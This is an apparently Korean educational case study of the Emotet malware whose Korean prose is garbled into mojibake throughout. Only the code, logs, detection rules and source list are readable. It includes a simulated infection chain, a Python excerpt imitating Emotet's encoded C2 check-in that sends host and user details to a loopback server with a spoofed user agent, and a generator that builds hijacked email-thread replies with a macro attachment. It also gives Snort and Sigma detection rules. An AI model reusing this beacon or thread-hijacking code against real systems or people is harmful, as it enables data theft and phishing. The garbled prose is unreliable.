"LSASS ์ ๊ทผ, ๋ธ๋ผ์ฐ์ ์๊ฒฉ์ฆ๋ช
์ ์ฅ์ ์ด๋, SMB Admin$ ์ ์")
์คํ ๊ฒฐ๊ณผ(์ค์ ์ถ๋ ฅ):
[01] โ ์คํผ์ดํผ์ฑ ๋ฉ์ผ | ์
๋ฌด ๋ฌธ์๋ฅผ ๊ฐ์ฅํ ํ์ + ๋งคํฌ๋ก ํฌํจ .xlsm ์ฒจ๋ถ
โ ํ์ง ์ง์ : ๋ฉ์ผ ๊ฒ์ดํธ์จ์ด: ๋งคํฌ๋ก ํฌํจ ๋ฌธ์/์ค์บ ๋ถ๊ฐ ์์ถ ์ฒจ๋ถ ์ฐจ๋จ
[02] โก ๋ฌธ์ ์ด๋ + ๋งคํฌ๋ก | ์ฌ์ฉ์๊ฐ '์ฝํ
์ธ ์ฌ์ฉ' ํด๋ฆญ โ AutoOpen ์คํ
[03] โข 2์ฐจ ์คํ ์์ | WMI โ powershell -w hidden ๋ก ๋ค์ด๋ก๋ ์คํฌ๋ฆฝํธ ์คํ
[04] โฃ ๋๋กํผ ๊ธฐ๋ก | ...\Temp\rundll32.exe ๋ก ์ ์ฅ (T1036.005)
[05] โค ์ง์์ฑ ์๋ | XOR(key=0x8F) ์ํธํ โ ๋ ์ง์คํธ๋ฆฌ ๊ฐ(ํค=๋ณผ๋ฅจ์๋ฆฌ์ผ A1B2-C3D4)
[06] โฅ ์๋ ์คํ ๋ฑ๋ก | HKCU\Software\Microsoft\Windows\CurrentVersion\Run
[07] โฆ C2 ์ฒดํฌ์ธ | POST http://127.0.0.1:8080/<๋ฌด์์ 8์>/ (๊ตฌํ IE UA ์์ฅ)
[08] โง ๋ชจ๋ ์์ ยทํ์ฅ | DLL ๋ชจ๋(systeminfo/spreader/email stealer) ์์
[*] ๋จ๊ณ ๊ธฐ๋ก 8๊ฐ โ /tmp/emotet_poc_registry.json (๋ ์ง์คํธ๋ฆฌ ์ค์ ๋ณ๊ฒฝ 0๊ฑด)
PoC 2 โ C2 ์ฒดํฌ์ธ ํ๋กํ ์ฝ (๋ฃจํ๋ฐฑ ์๋ฒ๋ก ํ์๋ง ์ฌํ)
Emotet์ด ์ฐ๋ (์์ถ โ XOR โ Base64) ๋ณธ๋ฌธ + ๋ฌด์์ URI + ์์ฅ UA + ์ฟ ํค ๋ด ID + C2 ํด๋ฐฑ ๊ตฌ์กฐ๋ฅผ ๊ทธ๋๋ก ํ๋ด ๋ธ๋ค. ์๋ฒ๋ ๊ฐ์ ํ๋ก์ธ์ค ์์ loopback ์๋ฒ์ด๋ฉฐ, ๋ฐ์ ๋ณธ๋ฌธ์ ๋ณตํธํํด ๊ฒ์ฆํ๋ค.
# emotet_poc_c2.py (๋ฐ์ท) โ ๋ชจ๋ ํธ๋ํฝ์ 127.0.0.1, ์ธ๋ถ ํต์ 0๊ฑด
LAB_C2 = [("127.0.0.1", 8080), ("127.0.0.1", 8081)] # ํ๋์ฝ๋ฉ C2 ๋ชฉ๋ก(ํด๋ฐฑ)
UA = ("Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; "
"Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729)")
def encode_body(plain, key=None): # ์์ถ โ XOR โ base64
key = key or random.randint(1, 255)
return base64.b64encode(bytes([key]) + bytes(b ^ key for b in zlib.compress(plain))).decode(), key
uri = "http://%s:%d/%s/" % (c2[0], c2[1], rand_dir()) # ๋ฌด์์ ์ํ๋ฒณ ๋๋ ํฐ๋ฆฌ
req = urllib.request.Request(uri, data=body.encode(), method="POST")
req.add_header("User-Agent", UA) # ๊ตฌํ IE ์์ฅ
req.add_header("Cookie", "PHPSESSID=%s" % bot_id) # ๋ด ์๋ณ์ = ์ฟ ํค
์คํ ๊ฒฐ๊ณผ(์ค์ ์ถ๋ ฅ, ๋ฃจํ๋ฐฑ):
[*] ๋ด ID: y059ezgui (base36 ์ ์ฌ โ ์ฟ ํค๋ก ์ ๋ฌ๋จ)
[*] C2 ํ๋ณด ๋ชฉ๋ก(ํ๋์ฝ๋ฉ): [('127.0.0.1', 8080), ('127.0.0.1', 8081)]
[C2] POST /verlxnpdrbby/
[C2] UA : Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Tr ...
[C2] Cookie : PHPSESSID=y059ezgui
[C2] ๋ณธ๋ฌธ ๋ณตํธํ โ {"host": "LAB-VM-01", "user": "labuser", "os": "Windows 10 x64 19045",
"av": "Windows Defender", "domain": "lab.local",
"modules": ["systeminfo", "spreader", "emailstealer"]}
[bot] ์ฒดํฌ์ธ ์ฑ๊ณต โ http://127.0.0.1:8080/verlxnpdrbby/ (HTTP 200)
[bot] ์์ ๋ชจ๋: {"module":"systeminfo","ver":2}
[*] ํด๋ฐฑ ๋ฐ๋ชจ: ์ฃฝ์ C2 โ ๋ค์ ํ๋ณด๋ก ์ด๋
[bot] ('127.0.0.1', 9999) ์คํจ (URLError) โ ๋ค์ C2 ์๋
[more] POST /jjazmyr/ ... ์ฒดํฌ์ธ ์ฑ๊ณต (HTTP 200)
[*] ์ข
๋ฃ โ ์ธ๋ถ ํต์ 0๊ฑด, ๋ชจ๋ ํธ๋ํฝ์ 127.0.0.1
๋ฐฉ์ด์ ๊ด์ ํด์: ์ 4์ค์ ์กฐํฉ(๋ฌด์์ ์๋ฌธ ๊ฒฝ๋ก + POST + MSIE 7.0 UA + ๋นํ์ค ํฌํธ)์ ์ ์ ์ ๋ฌด ํธ๋ํฝ์์ ๋์ฌ ์ด์ ๊ฐ ์๋ค. ์๊ทธ๋์ฒ๋ฅผ ๋ชฐ๋ผ๋ ํ์ ์กฐํฉ๋ง์ผ๋ก ํ์ง ๊ฐ๋ฅํ ์ง์ ์ด๋ค.
PoC 3 โ ์ด๋ฉ์ผ ์ค๋ ๋ ํ์ด์ฌํน ๊ตฌ์กฐ ์ฌํ (๋ฐ์ก ๊ธฐ๋ฅ ์์)
ํ์ทจํ ์ฌ์ํจ์์ ๋ฌด์์ ์ฝ์ด ์ด๋ป๊ฒ "์์ฐ์ค๋ฌ์ด ๋ต์ฅ"์ ๋ง๋๋์ง๋ฅผ ๋ก์ปฌ mock ๋ฐ์ดํฐ๋ก ์ฌํํ๋ค.
์ ์ก ํจ์๋ ์๋์ ์ผ๋ก ๋ฏธ๊ตฌํ(NotImplementedError)์ด๋ฉฐ ๊ฒฐ๊ณผ๋ ์ด์ ํ์ผ๋ก๋ง ์ ์ฅ๋๋ค.
# emotet_poc_thread.py (๋ฐ์ท) โ SMTP ์ฝ๋ ์์ฒด๊ฐ ์์, ์ด์ JSON๋ง ์์ฑ
def pick_thread(mb): # ์์ฃผ ์ค๊ฐ ์๋ ๊ฐ์ค์น + ๋ํ ๊ธธ์ด = '์งํ ์ค' ์ค๋ ๋
counts = Counter(m["from"] for t in mb["threads"] for m in t["mails"])
return max(mb["threads"], key=lambda t: sum(counts.get(p,0) for p in t["parties"])*10 + len(t["mails"]))
def build_reply(mb, t):
last = t["mails"][-1]["body"]
return {"to": [p for p in t["parties"] if p != "labuser@lab.local"],
"subject": "RE: " + t["subject"], # ์ ๋ชฉ ์ฌ์ฌ์ฉ
"attachment": "์ ์ฐ์๋ฃ_2026.xlsm", # ๋ฉ ์ ์ฉ ๋๋ฏธ ์ด๋ฆ
"body": "์๋
ํ์ธ์, ์์ฒญํ์ ์๋ฃ ์ ๋ฆฌํด์ ์ฒจ๋ถ๋๋ฆฝ๋๋ค.\n\n> " + last.replace("\n","\n> ")
+ "\n\n" + extract_signature(mb, "labuser@lab.local")} # ์๋ณธ ์๋ช
๋ณต์
def send(_draft):
raise NotImplementedError("๊ต์ก์ฉ ๋ชจ์ ์ฝ๋: ์ ์ก ๊ธฐ๋ฅ์ ๊ตฌํํ์ง ์์ต๋๋ค")
์คํ ๊ฒฐ๊ณผ(์ค์ ์ถ๋ ฅ):
[*] ํ์ทจํ ์ฌ์ํจ์์ ์ ํ๋ ์ค๋ ๋: ์ก์ฅ ํ์ธ ์์ฒญ | ์ฐธ์ฌ์: ['billing@lab.local', 'labuser@lab.local', 'kim@lab.local']
{
"to": ["billing@lab.local", "kim@lab.local"],
"subject": "RE: ์ก์ฅ ํ์ธ ์์ฒญ",
"attachment": "์ ์ฐ์๋ฃ_2026.xlsm",
"body": "์๋
ํ์ธ์, ์์ฒญํ์ ์๋ฃ ์ ๋ฆฌํด์ ์ฒจ๋ถ๋๋ฆฝ๋๋ค. ํ์ธ ๋ถํ๋๋ฆฝ๋๋ค.\n\n> ... ๋ฉํ
ํฌ ์ฌ๋ฌดํ\n\n๋ฉํ
ํฌ ์ฌ๋ฌดํ\n02-000-0000"
}
[*] ๋ฆฌ์คํฌ ํฌ์ธํธ: ์ ๋ชฉ/์์ ์/์ธ์ฉ๋ฌธ/์๋ช
์ด '์ค์ ๋ํ'์์ ๋ณต์ ๋์ด ์์ด
์ฌ์ฉ์๋ ๋ฏ์ ๋ฐ์ ์๊ฐ ์๋๋ผ '์๋ ์ฌ๋์ ๋ต์ฅ'์ผ๋ก ์ธ์ํ๊ฒ ๋๋ค.
PoC 4 โ ํ์ง ๋ฃฐ ์์ด๋์ด (CISA ๊ถ๊ณ ์๊ทธ๋์ฒ ๊ณ์ด)
# (1) ๋คํธ์ํฌ: ๋ฌด์์ ๊ฒฝ๋ก POST + ์์ฅ UA ์กฐํฉ โ ๊ฐ๋
์ Snort/Suricata ๋ฃฐ
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"LAB Emotet-style checkin (random path POST + legacy IE UA)";
flow:established,to_server; http_method;
content:"POST"; http_method;
pcre:"/^\/[a-z]{6,13}\/$/U"; # ๋ฌด์์ ์ํ๋ฒณ ๋๋ ํฐ๋ฆฌ
content:"Mozilla/4.0 (compatible; MSIE 7.0"; http_user_agent;
content:"PHPSESSID="; http_cookie;
sid:9000001; rev:1;)
# (2) ์๋ํฌ์ธํธ: Temp ์์ ์คํ๋๋ ์์คํ
ํ๋ก์ธ์ค๋ช
+ Run ํค ์ ๊ท ๊ฐ (Sigma ์คํ์ผ)
title: Suspicious System32-named binary executing from user Temp
logsource: { category: process_creation, product: windows }
detection:
image: { Image|endswith: ['\AppData\Local\Temp\svchost.exe', '\AppData\Local\Temp\rundll32.exe'] }
parent: { ParentImage|endswith: ['\winword.exe', '\excel.exe', '\wscript.exe'] }
condition: image and parent
level: high
6. ๋ฐฉ์ด ๋ฐฉ๋ฒ/๊ตํ โ ์ด๋ป๊ฒ ๋ง์๊ณ , ๋ฌด์์ ๋ฐฐ์ฐ๋
- ๋งคํฌ๋ก ์ ์ฑ ์ด ๊ฐ์ฅ ํฐ ์ง๋ ๋์๋ค: "์ธํฐ๋ท์์ ๋ฐ์ Office ๋ฌธ์์ ๋งคํฌ๋ก ๊ธฐ๋ณธ ์ฐจ๋จ"์ด ์ํ๋์ Emotet์ LNKยทISOยทOneNote๋ก ๊ฐ์ํ์ผ ํ๋ค. GPO๋ก ์ ๋ขฐ ์์น๋ฅผ ์ ๊ทธ๊ณ , Office Templates ๋ฑ ์ ๋ขฐ ํด๋์ ์ธ๋ถ ๋ฌธ์๋ฅผ ์ฎ๊ฒจ ์คํํ๋ ํจํด ์์ฒด๋ฅผ ํ์ง ๋์์ผ๋ก ๊ฐ์ํ๋ค.
- ๋ฉ์ผ ๊ณ์ธต ํต์ (CISAยทMS-ISAC ๊ถ๊ณ ):
.dllยท.exe๋ฑ ์ ์ฑ์ฝ๋ ์ฐ๊ด ํ์ฅ์ ์ฐจ๋จ, ๋ฐฑ์ ์ด ๊ฒ์ฌํ ์ ์๋ ์์ถ ํ์ผ ์ฐจ๋จ, DMARC ๊ฒ์ฆ, ๋ฉ์ผ ๊ฒ์ดํธ์จ์ด ํํฐ, ์์ฌ IP ๋ฐฉํ๋ฒฝ ์ฐจ๋จ. ์ฒจ๋ถยท๋งํฌ๋ ์๋๋ฐ์ค์์ ๋จผ์ ์ฐ๋ค. - ์ค๋ ๋ ํ์ด์ฌํน ๋์์ '์ ์ฐจ'๋ก ๋ง๋๋ค: ๊ธฐ์กด ๋ํ์ ๋ผ์ด๋ ์ฒจ๋ถยท๊ณ์ข ๋ณ๊ฒฝ ์์ฒญ์ ์์์ค๋ธ๋ฐด๋(์ ํ ๋ฑ ๋ณ๋ ์ฑ๋)๋ก ํ์ธํ๋ ๊ท์น์ ์ ํ๋ค. ๊ธฐ์ ํต์ ๋ณด๋ค ์กฐ์ง ์ ์ฐจ๊ฐ ํจ๊ณผ์ ์ด๋ค.
- ์๊ฒฉ์ฆ๋ช ์์: LSASS ๋ณดํธ(LSA Protection/RunAsPPL), ๋ก์ปฌ ๊ด๋ฆฌ์ ์ํธ ์๋ ์ํ(LAPS), SMB Admin$ ๊ณต์ ์ ํยท์ต์ ๊ถํ, ๊ด๋ฆฌ์ ๊ณ์ MFA โ Emotet์ ๋ด๋ถ ํ์ฐ(Wi-FiยทSMB)์ ์ฝํ ๋ก์ปฌ ์ํธ๊ฐ ์์ด์ผ ์ฑ๋ฆฝํ๋ค.
- ์๋ํฌ์ธํธ ํ์ ํ์ง(Sysmon/EDR): Run ํค ์ ๊ท ๊ฐ(EID 13), ๋ณผ๋ฅจ ์๋ฆฌ์ผ ์ด๋ฆ์ ๋ ์ง์คํธ๋ฆฌ ๊ฐ, Temp์์ ์คํ๋๋ ์์คํ ํ๋ก์ธ์ค๋ช , WMIโPowerShell ์์ ํ๋ก์ธ์ค, LSASS ํธ๋ค ์ ๊ทผ์ ์๊ด ๋ถ์ํ๋ค.
- ๋คํธ์ํฌ: ๋นํ์ค ํฌํธ(20/22/7080/50000) ์์๋ฐ์ด๋ ์ ํ, ๋ฌด์์ ๊ฒฝ๋ก POST ํ์ง, ๊ตฌํ User-Agent ์ฐจ๋จ, ํ๋ก์ ๊ธฐ๋ฐ ์ด๊ทธ๋ ์ค ํต์ .
- ์นจํด ํ ๋์: Emotet์ ์๊ฒฉ์ฆ๋ช ์ด ์ด๋ฏธ ์ ์ถ๋ ์ํ๋ฅผ ์๋ฏธํ๋ค. ์ ์ฑ์ฝ๋ ์ ๊ฑฐ์์ ๋๋ด์ง ๋ง๊ณ ์ ์ฒด ๊ณ์ ๋น๋ฐ๋ฒํธ ํ์ , ์ธ์ ๋ฌดํจํ, ๋ฉ์ผ ๊ท์น(์ ๋ฌ ๊ท์น) ์ ๊ฒ๊น์ง ์ํํ๋ค.
- ์ฐ์ ์ ๊ตํ: โ MaaSยท์ํ๊ณ ๋จ์ ๋์ โ Emotet ํ๋๋ฅผ ์ง์๋ TrickBotยทIcedIDยทBumblebee๊ฐ ๋จ๋๋ค. โก ๊ตญ์ ๊ณต์กฐ(Operation Ladybird)๋ 700๋ ์๋ฒ ์์์ ์ผ๊ด ์ ๊ฑฐ๊น์ง ์ฑ๊ณตํ์ง๋ง 10๊ฐ์ ๋ค ๋ถํํ๋ค โ ํ ์ดํฌ๋ค์ด์ ์ข ๋ฃ๊ฐ ์๋๋ผ ์๊ฐ ๋ฒ๊ธฐ๋ค. โข ๋ฐฉ์ด์๋ ์ ์ฑ์ฝ๋์ ๋ฒ๊ทธ (182์ผ ํฌ์ค์์น)๋ฅผ ๋ฌด๊ธฐ๋ก ์ธ ์ ์๋ค. โฃ "์ ์ฑ์ฝ๋๊ฐ ํ์น ์๊ฒฉ์ฆ๋ช ์ ๊ณง ๋ค์ ์นจํด์ ์ด์ "๋ผ๋ ์ฌ์ค์ด Emotet์ 7๋ ์๋ช ์ ์ค๋ช ํ๋ค.
์ถ์ฒ
- CISA / MS-ISAC โ Cybersecurity Advisory AA20-280A: Emotet Malware (2020-10-24 ๊ฐ์ ) โ https://www.cisa.gov/news-events/cybersecurity-advisories/aa20-280a
- Europol โ "World's most dangerous malware EMOTET disrupted through global action" (2021-01-27, Operation Ladybird) โ europol.europa.eu โ Emotet disrupted
- Eurojust โ ๋์ผ ๊ณต๋ ๋ณด๋์๋ฃ (์ฌ๋ฒ๊ณต์กฐ ๊ด์ ) โ eurojust.europa.eu โ Emotet
- The Hacker News โ "European Authorities Disrupt Emotet โ World's Most Dangerous Malware" (2021-01-28: 700๋ ์๋ฒ, ํ๋ฅดํค์ฐ ์ฒดํฌ 2๋ช , NCA ์๊ธ ๋ถ์, 25์ต ๋ฌ๋ฌ ์ถ์ฐ, 60๋ง ๊ณ์ ๋ฐ์ดํฐ์ , 2021-04-25 ์ผ๊ด ์ ๊ฑฐ) โ thehackernews.com/2021/01/european-authorities-disrupt-emotet
- The Hacker News โ "Researchers Exploited A Bug in Emotet to Stop the Spread of Malware" (2020-08-17: 182์ผ ํฌ์ค์์น, ํ์ผ๋ช XOR+๋ณผ๋ฅจ์๋ฆฌ์ผ ์ง์์ฑ, Wi-Fi ์คํ๋ ๋) โ thehackernews.com/2020/08/emotet-botnet-malware
- The Hacker News โ "Notorious Emotet Malware Returns With High-Volume Malspam Campaign" (2022-11-21: ํ๋ฃจ ์์ญ๋ง ํต, ํ์ 9๊ฐ๊ตญ, ์ค๋ ๋ ํ์ด์ฌํน, Templates ํด๋ ํธ๋ฆญ) โ thehackernews.com/2022/11/notorious-emotet-malware-returns-with
- The Hacker News โ "Emotet Malware Makes a Comeback with New Evasion Techniques" (2023-01-24: SMB ์คํ๋ ๋ยทํฌ๋กฌ ์นด๋ ํ์ทจ ๋ชจ๋, 64๋นํธ ์ ํ) โ thehackernews.com/2023/01/emotet-malware-makes-comeback-with-new
- MITRE ATT&CK โ Emotet (Software S0367): ๋ชจ๋๋ฌ ๊ตฌ์กฐยทTTP ๋งคํ โ attack.mitre.org/software/S0367
- Malpedia (Fraunhofer FKIE) โ Emotet (win.emotet) ์ํ ํจ๋ฐ๋ฆฌ ๊ฐ์ โ malpedia.caad.fkie.fraunhofer.de/details/win.emotet
- Malwarebytes โ Emotet ์ํ ๊ฐ์ ์๋ฃ์ค โ malwarebytes.com/emotet
- Palo Alto Networks Unit 42 โ Emotet ๋ฆฌ์์น ํ๋ธ โ unit42.paloaltonetworks.com/emotet
- Wikipedia โ Emotet (์ฐํยท๋ช ์นญยท๊ท์ ์ฐธ๊ณ ) โ en.wikipedia.org/wiki/Emotet
โป ๋ณธ๋ฌธ์ PoC ์ฝ๋๋ ๊ตฌ์กฐ ์ดํด ๋ชฉ์ ์ ๊ต์ก์ฉ ๋ชจ์ ์ฝ๋์ด๋ฉฐ, ์ค์ Emotet ์ํยทํ์ด๋ก๋๋ ํฌํจํ์ง ์์ต๋๋ค. ๋ชจ๋ ์ค์ต์ ์ธํฐ๋ท๊ณผ ๋ถ๋ฆฌ๋ ๊ฒฉ๋ฆฌ ๋ฉ VM์ ์ ์ ๋ก ํฉ๋๋ค.
ํจ๊ป ์ฝ๊ธฐ: ๐ฆ Bangladesh Bank SWIFT Heist (2016) โ ์๊ฒฉ์ฆ๋ช ํ์ทจ๋ก ์ํ ๊ฒฐ์ ๋ง์ ์กฐ์ํ APT38 ยท โ ๏ธ NotPetya (2017) โ ๊ณต๊ธ๋ง์์ ์์๋ ํ๊ดดํ ์์ดํผ ยท ๐ฆ SolarWinds SUNBURST (2020) โ ์ ๋ขฐ๋ฐ๋ ์๋ช ์ ๋ฌด๊ธฐ๋ก ยท ๐ชฑ Conficker (2008) โ ์๊ฐ ๋ฐฉ์ดํ ์๊ณผ ๊ตญ์ ๊ณต์กฐ ๋์